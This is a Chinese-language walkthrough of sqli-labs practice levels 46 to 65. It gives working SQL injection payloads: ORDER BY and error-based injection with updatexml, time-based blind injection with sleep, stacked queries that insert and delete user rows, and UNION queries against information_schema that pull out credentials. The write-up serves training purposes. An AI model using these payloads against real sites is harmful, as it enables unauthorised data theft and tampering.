第46关
知识点
asc:指定列按升序排列 select * from users order by 1 asc;
desc:指定列按降序排列selec * from users order by 1 desc
Right(数据,数字):从数据的右边开始前数字个字母为select Right(database(),1);
Left(数据,数字):从数据的左边开始前数字个字母为select Left(database(),1)
lines terminated by xxx:最后写好的句子会以xxx结尾
方法一
页面显示需要sort而不是以往的id
尝试输出?sort=1
仍然尝试单引号闭合发现报错,这里先尝试使用报错注入。
发现可行,直接爆个信息看看
方法二
时间盲注?sort=1 and if(length(database())=1,1,sleep(0.3))
睡眠时间不要太长,因为真正睡眠时间等于我们设置的睡眠时间乘上数据数,这里我设置(0.3)就已经加载了4秒左右,因为时间太长,不是很推荐手注,这里也不做后面的演示,方法与之前相同。
第47关
寻找闭合方式,发现单引号时报错,根据报错信息,确定闭合方式的确为单引号,其余步骤与上一关均相同
?sort=1' and(updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),0));--+
第48关
关闭了报错,只能进行时间盲注,判断注入方式为数字型。
第49关
也是关闭了报错,判断注入方式为字符型,单引号闭合。仍然使用时间盲注
第50关
本关可以使用堆叠注入,报错注入和时间盲注,这里我用堆叠注入插入一条数据?sort=1;insert into users(id,username,password) values(13,'admin3','admin3');
第52关
单引号闭合发现报错,通过报错信息知道,闭合方式就是单引号,其余步骤与之前相同,这里我删除一下51关插入的数据
?sort=1';delete from users where id=13;
第53关
单引号,双引号,单引号加单括号闭合都没有回显,那么就是关闭了报错并且这里是数字型注入,不过不影响我们堆叠注入。
第53关
单引号异常,双引号正常,单引号加上--+
又正常,那么这关就是没有回显,闭合方式为单引号的字符型注入,仍然可以使用堆叠注入。
第54关
本关限制查询次数为10次,10次之后会生成新的随机表名列名数据。
?id=1
正常回显
?id=1'
没有回显
?id=1' --+
又正常回显,则此关为单引号闭合
?id=1111' union select 1,2,3--+
正常回显,回显位为2,3
?id=1111' union select 1,2,3,4--+
又没有了回显,则说明有三个字段
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
爆出了表名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='f9lbp43uej'),3 --+
知道了列名,最后查信息。
?id=?id=-1' union select 1,(select group_concat(id,0x7e,secret_Z8RW,0x7e,sessid,0x7e,tryy) from f9lbp43uej),3 --+
第55关
这次共有14次机会,还是先找注入方式,单引号,双引号,单引号加括号。都显示异常,最后发现?id=1) --+
正常回显,其余步骤与上一关相同。
第56关
仍然是14次机会,还是先找闭合方式,这里单引号,单引号加括号都显示异常,双引号显示正常,加上--+
单引号加括号正常回显,则说明闭合方式是')
,其余步骤与上面的相同
第57关
仍然是14次机会,那这关是否仍是闭合的不同?寻找闭合方式,前面单引号括号都用了,这里偷懒直接尝试双引号,偷懒成功,步骤还是和上面一样。
第58关
这次只有5次机会了,单引号闭合,发现报错了,既然报错了,我们也可以使用报错注入,本来想先尝试一下联合注入,可是这里不管怎么改数据,总是报同一个数据
所以直接尝试报错注入吧,爆库
`?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+`
这里发现报错注入可行(知道闭合方式是单引号,所以直接用了),再爆列
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fz5zraajjp'),0x7e),1)--+
用了个中文符号,少了一次机会,不过没关系,爆信息
?id=-1' and updatexml(1,concat(0x7e,(select secret_XYKB from fz5zraajjp),0x7e),1)--+
第59关
本关还是五次机会,应该就是闭合方式的不同吧,闭合后都报错,那注入方式就是数字型咯,所以步骤和上一关一样,刚好能过关。
第60关
仍然是五次机会,那多半也是闭合方式的不同吧,多次重置发现闭合方式为")
,其余步骤果然和之前一样,提交成功出来的页面挺短,没来得及截图。
第61关
单引号报错,单引号加单括号报错,但是加了--+
之后还是报错,那在加一个括号,发现回显正常了,则闭合方式为'))
其余步骤均相同。
第62关
130次可还行。这里尝试闭合方式,单引号异常,单引号加单括号也异常,加上--+
后单引号加单括号正常显示,则闭合方式为')
,既然没有报错,那就只能盲注了,先尝试?id=1') and sleep(5)--+
说明可以使用延时注入,到这知道为什么给了130次机会了,建议数据正确睡眠,因为已经给出了数据库的名字,这里尝试一下(尝试不尝试都行,前面已经试过可以延时注入了)
?id=1') and if(length(database())=10,sleep(5),1)--+
剩余步骤与最开始的延时注入相同,使用二分法慢慢找数据把。
第63关
130次,也只是闭合方式不同,找出闭合方式为单引号'
,其余步骤都相同。
第64关
仍然是130次,不是数字型注入,但好像拿什么闭合都显示异常,看看源代码,发现是双括号闭合))
,还是延时注入,与之前相同
第65关
仍然130次,寻找闭合方式,最后发现是双引号加括号")
,仍然是延时注入,与之前先相同。